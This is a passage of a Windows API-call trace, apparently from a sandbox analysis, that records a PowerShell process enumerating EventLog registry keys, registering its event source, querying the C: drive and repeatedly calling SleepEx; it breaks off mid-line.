RegOpenKeyExW (in: hKey=0x664, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x668) returned 0x0 [0121.794] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x0) returned 0x2 [0121.794] RegCloseKey (hKey=0x668) returned 0x0 [0121.794] RegOpenKeyExW (in: hKey=0x664, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x668) returned 0x0 [0121.794] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x0) returned 0x2 [0121.794] RegCloseKey (hKey=0x668) returned 0x0 [0121.794] RegOpenKeyExW (in: hKey=0x664, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x668) returned 0x0 [0121.795] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x0) returned 0x2 [0121.795] RegCloseKey (hKey=0x668) returned 0x0 [0121.795] RegOpenKeyExW (in: hKey=0x664, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x668) returned 0x0 [0121.795] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x0) returned 0x2 [0121.795] RegCloseKey (hKey=0x668) returned 0x0 [0121.795] RegOpenKeyExW (in: hKey=0x664, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x668) returned 0x0 [0121.795] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x0) returned 0x2 [0121.795] RegCloseKey (hKey=0x668) returned 0x0 [0121.795] RegOpenKeyExW (in: hKey=0x664, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x0) returned 0x5 [0121.867] RegOpenKeyExW (in: hKey=0x664, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x668) returned 0x0 [0121.867] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x0) returned 0x2 [0121.867] RegCloseKey (hKey=0x668) returned 0x0 [0121.867] RegOpenKeyExW (in: hKey=0x664, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x668) returned 0x0 [0121.867] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x66c) returned 0x0 [0121.867] RegCloseKey (hKey=0x66c) returned 0x0 [0121.868] RegCloseKey (hKey=0x664) returned 0x0 [0121.868] RegCloseKey (hKey=0x668) returned 0x0 [0121.870] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea88 | out: phkResult=0x2504afea88*=0x668) returned 0x0 [0121.870] RegQueryInfoKeyW (in: hKey=0x668, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2504afeb10, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2504afeb08, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2504afeb10*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2504afeb08*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.870] RegEnumKeyExW (in: hKey=0x668, dwIndex=0x0, lpName=0x1cbda8adbe8, lpcchName=0x2504afeb80, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2504afeb80, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.870] CoTaskMemFree (pv=0x0) [0121.870] RegEnumKeyExW (in: hKey=0x668, dwIndex=0x1, lpName=0x1cbda8adbe8, lpcchName=0x2504afeb80, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2504afeb80, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.870] CoTaskMemFree (pv=0x0) [0121.870] RegEnumKeyExW (in: hKey=0x668, dwIndex=0x2, lpName=0x1cbda8adbe8, lpcchName=0x2504afeb80, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2504afeb80, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.870] CoTaskMemFree (pv=0x0) [0121.870] RegEnumKeyExW (in: hKey=0x668, dwIndex=0x3, lpName=0x1cbda8adbe8, lpcchName=0x2504afeb80, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2504afeb80, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.870] CoTaskMemFree (pv=0x0) [0121.870] RegEnumKeyExW (in: hKey=0x668, dwIndex=0x4, lpName=0x1cbda8adbe8, lpcchName=0x2504afeb80, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2504afeb80, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.870] CoTaskMemFree (pv=0x0) [0121.870] RegEnumKeyExW (in: hKey=0x668, dwIndex=0x5, lpName=0x1cbda8adbe8, lpcchName=0x2504afeb80, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2504afeb80, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.870] CoTaskMemFree (pv=0x0) [0121.870] RegEnumKeyExW (in: hKey=0x668, dwIndex=0x6, lpName=0x1cbda8adbe8, lpcchName=0x2504afeb80, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2504afeb80, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.870] CoTaskMemFree (pv=0x0) [0121.870] RegEnumKeyExW (in: hKey=0x668, dwIndex=0x7, lpName=0x1cbda8adbe8, lpcchName=0x2504afeb80, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2504afeb80, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.870] CoTaskMemFree (pv=0x0) [0121.871] RegOpenKeyExW (in: hKey=0x668, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x664) returned 0x0 [0121.871] RegOpenKeyExW (in: hKey=0x664, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x0) returned 0x2 [0121.871] RegCloseKey (hKey=0x664) returned 0x0 [0121.871] RegOpenKeyExW (in: hKey=0x668, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x664) returned 0x0 [0121.871] RegOpenKeyExW (in: hKey=0x664, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x0) returned 0x2 [0121.871] RegCloseKey (hKey=0x664) returned 0x0 [0121.871] RegOpenKeyExW (in: hKey=0x668, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x664) returned 0x0 [0121.871] RegOpenKeyExW (in: hKey=0x664, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x0) returned 0x2 [0121.871] RegCloseKey (hKey=0x664) returned 0x0 [0121.872] RegOpenKeyExW (in: hKey=0x668, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x664) returned 0x0 [0121.872] RegOpenKeyExW (in: hKey=0x664, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x0) returned 0x2 [0121.872] RegCloseKey (hKey=0x664) returned 0x0 [0121.872] RegOpenKeyExW (in: hKey=0x668, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x664) returned 0x0 [0121.872] RegOpenKeyExW (in: hKey=0x664, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x0) returned 0x2 [0121.872] RegCloseKey (hKey=0x664) returned 0x0 [0121.872] RegOpenKeyExW (in: hKey=0x668, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x0) returned 0x5 [0121.876] RegOpenKeyExW (in: hKey=0x668, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x664) returned 0x0 [0121.877] RegOpenKeyExW (in: hKey=0x664, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x0) returned 0x2 [0121.877] RegCloseKey (hKey=0x664) returned 0x0 [0121.877] RegOpenKeyExW (in: hKey=0x668, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x664) returned 0x0 [0121.877] RegOpenKeyExW (in: hKey=0x664, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeae8 | out: phkResult=0x2504afeae8*=0x66c) returned 0x0 [0121.877] RegCloseKey (hKey=0x66c) returned 0x0 [0121.877] RegCloseKey (hKey=0x668) returned 0x0 [0121.879] RegCloseKey (hKey=0x664) returned 0x0 [0121.883] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea38 | out: phkResult=0x2504afea38*=0x664) returned 0x0 [0121.883] RegQueryInfoKeyW (in: hKey=0x664, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2504afeac0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2504afeab8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2504afeac0*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2504afeab8*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.883] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x0, lpName=0x1cbda8af458, lpcchName=0x2504afeb30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2504afeb30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.883] CoTaskMemFree (pv=0x0) [0121.883] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x1, lpName=0x1cbda8af458, lpcchName=0x2504afeb30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2504afeb30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.883] CoTaskMemFree (pv=0x0) [0121.883] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x2, lpName=0x1cbda8af458, lpcchName=0x2504afeb30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2504afeb30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.883] CoTaskMemFree (pv=0x0) [0121.883] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x3, lpName=0x1cbda8af458, lpcchName=0x2504afeb30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2504afeb30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.883] CoTaskMemFree (pv=0x0) [0121.883] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x4, lpName=0x1cbda8af458, lpcchName=0x2504afeb30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2504afeb30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.883] CoTaskMemFree (pv=0x0) [0121.883] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x5, lpName=0x1cbda8af458, lpcchName=0x2504afeb30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2504afeb30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.883] CoTaskMemFree (pv=0x0) [0121.883] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x6, lpName=0x1cbda8af458, lpcchName=0x2504afeb30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2504afeb30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.883] CoTaskMemFree (pv=0x0) [0121.883] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x7, lpName=0x1cbda8af458, lpcchName=0x2504afeb30, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2504afeb30, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.883] CoTaskMemFree (pv=0x0) [0121.883] RegOpenKeyExW (in: hKey=0x664, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x668) returned 0x0 [0121.884] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x0) returned 0x2 [0121.884] RegCloseKey (hKey=0x668) returned 0x0 [0121.884] RegOpenKeyExW (in: hKey=0x664, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x668) returned 0x0 [0121.884] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x0) returned 0x2 [0121.884] RegCloseKey (hKey=0x668) returned 0x0 [0121.884] RegOpenKeyExW (in: hKey=0x664, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x668) returned 0x0 [0121.884] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x0) returned 0x2 [0121.884] RegCloseKey (hKey=0x668) returned 0x0 [0121.884] RegOpenKeyExW (in: hKey=0x664, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x668) returned 0x0 [0121.884] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x0) returned 0x2 [0121.885] RegCloseKey (hKey=0x668) returned 0x0 [0121.885] RegOpenKeyExW (in: hKey=0x664, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x668) returned 0x0 [0121.885] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x0) returned 0x2 [0121.885] RegCloseKey (hKey=0x668) returned 0x0 [0121.885] RegOpenKeyExW (in: hKey=0x664, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x0) returned 0x5 [0121.889] RegOpenKeyExW (in: hKey=0x664, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x668) returned 0x0 [0121.889] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x0) returned 0x2 [0121.890] RegCloseKey (hKey=0x668) returned 0x0 [0121.890] RegOpenKeyExW (in: hKey=0x664, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x668) returned 0x0 [0121.890] RegOpenKeyExW (in: hKey=0x668, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea98 | out: phkResult=0x2504afea98*=0x66c) returned 0x0 [0121.890] RegCloseKey (hKey=0x66c) returned 0x0 [0121.890] RegCloseKey (hKey=0x664) returned 0x0 [0121.891] RegCloseKey (hKey=0x668) returned 0x0 [0121.893] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1cbf2be0008 [0122.132] ReportEventW (hEventLog=0x1cbf2be0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1cbda8e6ac8*="Registry", lpRawData=0x1cbda8b0620) returned 1 [0122.147] ReportEventW (hEventLog=0x1cbf2be0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1cbda8ec768*="Alias", lpRawData=0x1cbda8ec5d0) returned 1 [0122.150] ReportEventW (hEventLog=0x1cbf2be0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1cbda8f2088*="Environment", lpRawData=0x1cbda8f1ef0) returned 1 [0122.152] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x2504afebc0, nSize=0x80 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0122.153] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x10 [0122.153] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x10, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0122.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2504afec90) returned 1 [0122.153] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy"), fInfoLevelId=0x0, lpFileInformation=0x2504afed70 | out: lpFileInformation=0x2504afed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0122.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2504afec50) returned 1 [0122.154] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2504afdb70, nSize=0x80 | out: lpBuffer="䵀?Nj") returned 0x0 [0122.154] GetLogicalDrives () returned 0x4 [0122.155] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0122.155] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0122.156] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2504afec40) returned 1 [0122.157] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2504afeb00, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x2504afed00, lpMaximumComponentLength=0x2504afecf8, lpFileSystemFlags=0x2504afecf0, lpFileSystemNameBuffer=0x2504afea90, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2504afed00*=0xb4197730, lpMaximumComponentLength=0x2504afecf8*=0xff, lpFileSystemFlags=0x2504afecf0*=0x3e702ff, lpFileSystemNameBuffer="NTFS") returned 1 [0122.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2504afebd0) returned 1 [0122.157] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.157] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.163] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0122.163] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0122.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2504afec20) returned 1 [0122.164] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x1cbda8f4390 | out: lpFileInformation=0x1cbda8f4390*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x31b3b9e4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x969087e6, ftLastAccessTime.dwHighDateTime=0x1d5e1c5, ftLastWriteTime.dwLowDateTime=0x969087e6, ftLastWriteTime.dwHighDateTime=0x1d5e1c5, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0122.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2504afebe0) returned 1 [0122.164] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0122.164] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0122.164] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.164] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.171] PathIsNetworkPathW (pszPath="C:\\") returned 0 [0122.173] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0122.173] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0122.173] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.173] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.220] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0122.221] ReportEventW (hEventLog=0x1cbf2be0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1cbda901118*="FileSystem", lpRawData=0x1cbda900f80) returned 1 [0122.225] ReportEventW (hEventLog=0x1cbf2be0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1cbda906b78*="Function", lpRawData=0x1cbda9069e0) returned 1 [0122.228] ReportEventW (hEventLog=0x1cbf2be0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1cbda90c340*="Variable", lpRawData=0x1cbda90c1a8) returned 1 [0122.333] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.443] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.488] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.058] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.561] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.592] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.805] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.864] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.911] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.967] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.006] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.069] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.132] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.208] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.254] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.301] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.348] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.396] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.442] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.489] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.546] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.598] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.646] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.692] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.802] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.849] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.912] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.957] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.004] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.052] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.130] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.209] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.363] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.427] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.474] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.546] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.600] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.646] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.927] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.029] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.084] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.161] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 